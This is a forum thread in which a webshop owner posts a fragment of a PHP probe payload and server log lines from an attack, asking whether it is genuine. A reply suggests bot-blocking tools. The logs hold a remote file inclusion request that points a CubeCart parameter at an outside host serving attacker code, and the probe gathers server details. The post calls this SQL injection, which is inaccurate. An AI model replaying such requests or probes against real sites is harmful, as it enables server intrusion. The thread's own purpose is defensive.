Jump to content

SQL injection attack


Recommended Posts

With this piece of code did they attack my Prestashop webshop. Is this true or fake???? I think its for CubeCart???

$win = strtolower(substr(PHP_OS,0,3)) == "win";
echo "shepdoy

if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
$safemode = true;
$hsafemode = "4ON(BuSuK)6";
else {$safemode = false; $hsafemode = "3OFF(WoKeH)6";}
$xos = wordwrap(php_uname(),90,"

$xpwd = @getcwd();
$OS = "[safe-mode:".$hsafemode."] [Kernel:".$xos."]";
echo "


echo "


echo "



Karaw4nghacK Was Here!!!
?> - - [19/Nov/2010:18:11:12 +0100] "GET //includes/orderSuccess.inc.php?glob=1&cart_order_id=1&glob;[rootDir]=http://anten.zoomshare.com/files/scanner/id.txt?? HTTP/1.1" 404 1547 "-" "libwww-perl/5.805" - - [19/Nov/2010:18:11:31 +0100] "GET //includes/orderSuccess.inc.php?glob=1&cart_order_id=1&glob;[rootDir]=http://anten.zoomshare.com/files/scanner/id.txt?? HTTP/1.1" 404 1547 "-" "libwww-perl/5.836" - - [19/Nov/2010:18:26:40 +0100] "GET //includes/orderSuccess.inc.php?glob=1&cart_order_id=1&glob;[rootDir]=http://anten.zoomshare.com/files/scanner/id.txt?? HTTP/1.1" 404 1547 "-" "libwww-perl/5.813"
Link to comment
Share on other sites

If your site was really hacked, than make your server secure. The UA libww-perl is a known agent for hacking issues. If you cannot do it by yourself, i.e. secure your server, so don't allow bot-attacks on your own projects. Honeypotproject f.ex. is one of this tools. As I'm a german spoken user I use bot-trap and this works effective on a rate of 99,99%. The only thing what you have to do is to load folder per ftp to server and include code in your index-site. And also update the blacklist by cronjob or manually daily to be update.

The IP is known on both projects that comes from an insecure server, i.e. (Tor)proxy-server and they block automatically anything comes from there.

Link to comment
Share on other sites

  • 1 year later...

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
  • Create New...